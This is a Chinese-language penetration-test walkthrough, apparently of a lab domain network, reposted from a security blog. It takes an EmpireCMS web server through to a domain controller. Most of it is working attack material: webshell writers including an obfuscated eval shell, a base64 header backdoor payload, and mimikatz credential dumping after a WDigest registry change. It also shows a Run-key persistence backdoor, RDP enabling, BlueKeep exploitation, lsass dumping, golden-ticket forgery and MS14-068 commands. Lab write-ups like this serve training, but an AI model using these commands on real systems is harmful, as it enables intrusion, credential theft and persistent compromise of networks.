测试过程

信息收集

嗅探 netdiscover


20201121160446743.png


发现192.168.28.140,192.168.28.129

首先对192.168.28.140进行攻击-扫描

nmap -A 192.168.28.140

20201121161522525.png


发现WEB界面,访问http://192.168.28.140

20201121160842800.png


查看信息关于php的相关内容,是windows系统

20201121161146967.png


通过whatweb发现属于CMS

20201121161405854.png


目录遍历查看敏感目录

20201121161858242.png

20201121161949238.png

漏洞利用

访问后台系统,查看存在弱口令

http://192.168.28.140/e/admin/

20201121162231968.png

20201121163826621.png

暴力破解:进行爆破,找到账户密码

20201121163826621.png

http://192.168.28.140/e/admin/admin.php?ehash_2BPgI=ekMH6J9KSW2Rhm5ArEAt

依次 -> [系统]-[系统设置]-[备份与恢复数据]-[备份数据]

20201121163826621.png

抓包进行tablename参数都进行修改为phpinfo()

20201121163826621.png

访问备份文件目录下的config.php,将readme.txt改为config.php

20201121172921616.png

20201121172955934.png

20201121173118160.png

http://192.168.28.140/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php

20201121173535917.png

代码审计

由于出现 了CMS可以从网上进行查找,是否有源码包进行审计,对代码进行审计

依据刚才的过程而言

20201121170710120.png

(1) 在e/admin/ebak/phome.php文件中接受备份数据库传递的参数

20201121165459450.png

20201121165706952.png

(2) 接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的EbakDOEbak函数中。EbakDOEbak函数接受参数后,将数据库表名传递给变量$tablename

20201121170013901.png

(3) 系统对表名遍历将其赋值给b t a b l e 和 btable和btable和dtable。在d t a b l e 处 将 表 名 拼 接 为 字 符 串 。 对 拼 接 而 成 d_table处将表名拼接为字符串。对拼接而成dtable处将表名拼接为字符串。对拼接而成tb数组未对其中的键值名添加双引号

20201121170232426.png

(4)在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞

20201121170436790.png

(5)config.php

/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php

备份文件,生成新的文件由readme.txt为config.php

20201121173826546.png

20201121171213321.png

文件上传

在系统-管理数据表位置存在文件上传的地方

20201121174339641.png

导入系统模型

2020112117455343.png

生成一个1.php.mod文件

<?php
file_put_contents("shell.php","<?php phpinfo(); ?>");
?>

20201121174951259.png

访问http://192.168.28.140/e/admin/shell.php

20201121175057569.png


获得shell

   上传木马root.php.mod

<?php
file_put_contents("shell.php","<?php @eval($_POST['root']) ?>");
?>

20201121175452924.png

报错 

2020112118133937.png

进行编码绕过拦截

<?php
file_put_contents("root.php","<?php
$a=base64_decode("ZXZhbA==")
$a(\$_POST['a']);
?>");
?>

<?php file_put_contents("cao.php","<?php @eval(\$_POST[cmd]); ?>");?>

菜刀连接

20201122164551510.png

或者冰蝎、中国蚁剑、Weevely等等


打开虚拟终端,执行命令发现是有域环境的

20201122164851311.png

远程控制

上传远程控制木马或者上传mimikaz

20201122172451276.png

开启CS神器

20201122174254188.png

20201122174200860.png

使用CS进行文件管理

2020112218121188.png

破解密码-mimikaz

报错

20201122180850356.png

修改注册表

beacon> shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

20201122182652229.png

上传ProcDump

菜刀上传mimikatz

20201122183939823.png

查看当前win7用户信息

20201122202637474.png

20201122202737402.png

修改账户密码

20201122203130149.png

进行远程登录

20201122204232348.png

查看3389端口

beacon> shell REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

20201122204929138.png

开启3389
beacon> shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

20201122205020196.png

远程登录

20201122205232482.png

20201122205336356.png

win7持久后门之注册表

shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "calm" /t REG_SZ /d "C:\Users\calmness\calmnexx.exe" /f


或者

getshell

通过访问目标地址,进行抓包。

2020112221042929.png

对phpinfo进行漏洞攻击,发现xmlrpc

进行分析

 20201122211407973.png

20201122211436381.png

构造payload

注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功

Accept-Charset 的值就是执行的命令, 需要进行base64编码

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

20201122213320139.png


漫游内网

内网信息收集

远程win7使用nbtscan扫描内网存活IP

20201123092609908.png

20201123092656754.png

ping批量测试ip

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)
)
)


获取当前计算机名称

2020112309301320.png

查看所有域

20201123093150919.png

win7ping win2012

20201123095758633.png

横向移动

查看win2008系统【192.168.1.18】

查看域控win2012【192.168.1.21】

隧道应用

搭建隧道连接域控环境

EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发;具有socks5代理、端口转发和端口映射三大功能;支持跨平台

20201123100449116.png

利用攻击机器kali[192.168.28.130]穿透win2008,远程控制win2008

20201123100638699.png

metasploit之历史漏洞利用

发现有密码-查询历史漏洞进行攻击-MSF:windows/rdp/cve_2019_0708_bluekeep_rce

20201123134913103.png

20201123135051303.png

meterpreter> upload /mimikatz.rar

meterpreter> shell

C:\windows\system32>chcp 65001 【注:解决乱码问题】

C:\windows\system32>dir        【注:查找mimikatz.rar】

C:\windows\system32>unrar e mimikatz.rar

C:\windows\system32>mimikatz.exe

上传mimikatz

20201123135551217.png

破解win2008登录密码

  privilege::debug

  sekurlsa::logonpasswords

2020112310323438.png

NTLM哈希

20201123103420893.png

远程登录

root@kali:~# rdesktop 192.168.28.130:1080

账户密码 Administrator:root@123456

20201123140826737.png

查询域内信息

20201123140041765.png

获得域控

伪造黄金票据

第一步:在域控内导出krbtgt用户的hashsid(使用mimikatz.exe工具):

lsadump::dcsync /domain:test.com /user:krbtgt    domian:后面是域控名  user后面是krbtgt用户

20201123142411658.png

或者

可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码

procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件

2020112314394312.png

20201123144633427.png

获取域控信息

net group "domain controllers" /domain

20201123145507987.png

20201123145724343.png

第二步:.清除自己Client端(域内其他机器)的票据

在mimikatz.exe执行kerberos::list查看我们当前的票据

20201123160238870.png

kerberos::purge 清空当前用户登录的票据

20201123160440812.png

第三步:伪造TGT票据(黄金票据)

20201123161219447.png

kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用calmness,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。
构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。

kerberos::golden /admin:calmness /domain:test.com /sid:S-1-5-21-35384602030-1486526769-2284368966-502  /krbtgt:0e3982c434ed02ff33fb2f0698e3b30e /ptt

20201123162014877.png

使用cmd下 klist命令查看,说明已经成功在Client端伪造了黄金票据

20201123162221643.png

第五步:在Client端通过psexec.exe工具进行连接主控域;连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限



另一种方法:MS14-068提权

通过dir访问域控共享文件夹,拒绝访问

20201123150334374.png

获取用户sid:whoami /user

20201123151325253.png

展示参数

20201123153526240.png

执行下列命令,会在当前目录生成一个ccache文件

MS14-068.exe -u administrator@test.com -p root@123456 -s S-1-5-21-3083997108-67568443-464007278-500 -d DC.test.com

 20201123154133381.png

删除当前域机器的票证:klist purge

20201123154403840.png

使用mimikatz将ccache文件导入,提升为域控权限

kerberos::ptc TGT_administrator@test.com.ccache

20201123154903458.png

成功dir域控服务器C盘

20201123155042243.png


使用psexec.exe获取一个交互式shell

PsExec.exe \\DC.test.com cmd

20201123153228508.png

获取域控的ip地址

20201123153021631.png

其他方法1:kekeo.exe

(https://github.com/gentilkiwi/kekeo/releases)
通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。【注入内存中】
kekeo.exe “exploit::ms14068 /domain:test.com /user:administrator /password:root@123456 /ptt” “exit”

其他方法2:goldenPac.exe

(https://github.com/maaaaz/impacket-examples-windows)
此工具是impacket工具包里的,它是MS14-068+psexec的组合;
goldenPac.exe test.com/administrator:root@123456@DC.test.com

之后进行痕迹清理


本文作者:calmness

本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/152087.html